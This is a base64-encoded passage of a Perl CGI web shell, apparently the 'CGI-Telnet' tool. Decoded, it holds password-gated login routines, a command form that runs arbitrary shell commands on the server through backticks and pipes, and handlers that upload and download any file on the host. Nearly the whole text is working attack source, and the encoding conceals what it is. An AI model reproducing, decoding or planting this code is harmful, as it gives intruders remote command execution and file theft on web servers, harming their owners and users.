S0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICI8Y29kZT5Db25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj48L2NvZGU+IjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ291dAp7CglwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkmUHJpbnRMb2dvdXRTY3JlZW47CgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0CiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QKIyBtYXRjaCBvciBpZiBubyBwYXNzd29yZCBpcyBlbnRlcmVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIKIyB0byBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9naW4gCnsKCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkCgl7CgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoJCX0KCQkmUHJpbnRMb2dpbkZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CiRQcm9tcHQKPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBkb3dubG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0KewoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iZG93bmxvYWQiPgokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+CjwvZm9ybT4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVVcGxvYWRGb3JtCnsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOwoJcHJpbnQgPDxFTkQ7Cjxjb2RlPgo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KJFByb21wdCB1cGxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPgpPcHRpb25zOiAmbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im8iIHZhbHVlPSJvdmVyd3JpdGUiPgpPdmVyd3JpdGUgaWYgaXQgRXhpc3RzPGJyPjxicj4KVXBsb2FkOiZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJ1cGxvYWQiPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bwojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMKIyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIENvbW1hbmRUaW1lb3V0CnsKCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7CgkJcHJpbnQgPDxFTkQ7CjwveG1wPgo8Y29kZT4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLgo8YnI+S2lsbGVkIGl0IQo8Y29kZT4KRU5ECgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCQlleGl0OwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQgZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUKIyBjb21tYW5kIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgYW5vdGhlciBjb21tYW5kLiBUaGUgY2hhbmdlIGRpcmVjdG9yeQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRpbWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlCiMgb3V0cHV0IG9mIHRoZSBjaGFuZ2UgZGlyZWN0b3J5IGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZCB0byB0aGUgdXNlcnMKIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRXhlY3V0ZUNvbW1hbmQKewoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZAoJewoJCSMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUKCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4KCQkKCQkkT2xkRGlyID0gJEN1cnJlbnREaXI7CgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOwoJCWNob3AoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJFByb21wdCA9ICRXaW5OVCA/ICIkT2xkRGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJE9sZERpcl1cJCAiOwoJCXByaW50ICI8Y29kZT4kUHJvbXB0ICRSdW5Db21tYW5kPC9jb2RlPiI7Cgl9CgllbHNlICMgc29tZSBvdGhlciBjb21tYW5kLCBkaXNwbGF5IHRoZSBvdXRwdXQKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CgkJcHJpbnQgIjxjb2RlPiRQcm9tcHQgJFJ1bkNvbW1hbmQ8L2NvZGU+PHhtcD4iOwoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsKCQlpZighJFdpbk5UKQoJCXsKCQkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsKCQkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJCX0KCQlpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBvdXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkCgkJewoJCQkkfD0xOwoJCQkkQ29tbWFuZCAuPSAiIHwiOwoJCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQoJCQl7CgkJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJCXByaW50ICIkX1xuIjsKCQkJfQoJCQkkfD0wOwoJCX0KCQllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29tbWFuZCBjb21wbGV0ZXMKCQl7CgkJCXByaW50IGAkQ29tbWFuZGA7CgkJfQoJCWlmKCEkV2luTlQpCgkJewoJCQlhbGFybSgwKTsKCQl9CgkJcHJpbnQgIjwveG1wPiI7Cgl9CgkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcgojIHRvIGRvd25sb2FkIHRoZSBzcGVjaWZpZWQgZmlsZS4gVGhlIHBhZ2UgYWxzbyBjb250YWlucyBhIGF1dG8tcmVmcmVzaAojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2FkIGF1dG9tYXRpY2FsbHkuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlCnsKCWxvY2FsKCRGaWxlVXJsKSA9IEBfOwoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzCgl7CgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3NlcgoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmY9JEZpbGVVcmwmbz1nbyI7CgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJcHJpbnQgPDxFTkQ7Cjxjb2RlPgpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+Lgo8L2NvZGU+CkVORAoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7Cgl9CgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0Cgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXByaW50ICI8Y29kZT5GYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhPC9jb2RlPiI7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJfQoJZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7CgkJcHJpbnQgIjxjb2RlPkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhPC9jb2RlPiI7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCSZQcmludEZpbGVVcGxvYWRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJcmV0dXJuOwoJfQoJJlByaW50UGFnZUhlYWRlcigiYyIpOwoKCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzCglwcmludCAiPGNvZGU+VXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJcHJpbnQgIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsKCX0KCWVsc2UgIyBmaWxlIGlzIG5vdCBwcmVzZW50Cgl7CgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRUYXJnZXROYW1lIikpCgkJewoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsKCQkJcHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307CgkJCWNsb3NlKFVQTE9BREZJTEUpOwoJCQlwcmludCAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7CgkJCXByaW50ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCXByaW50ICJGYWlsZWQ6ICQhPGJyPiI7CgkJfQoJfQoJcHJpbnQgIjwvY29kZT4iOwoJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkmUHJpbnRQYWdlRm9vdGVyOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsKIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRG93bmxvYWRGaWxlCnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQkmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJcmV0dXJuOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlCiMtLS0tLS0tLS0t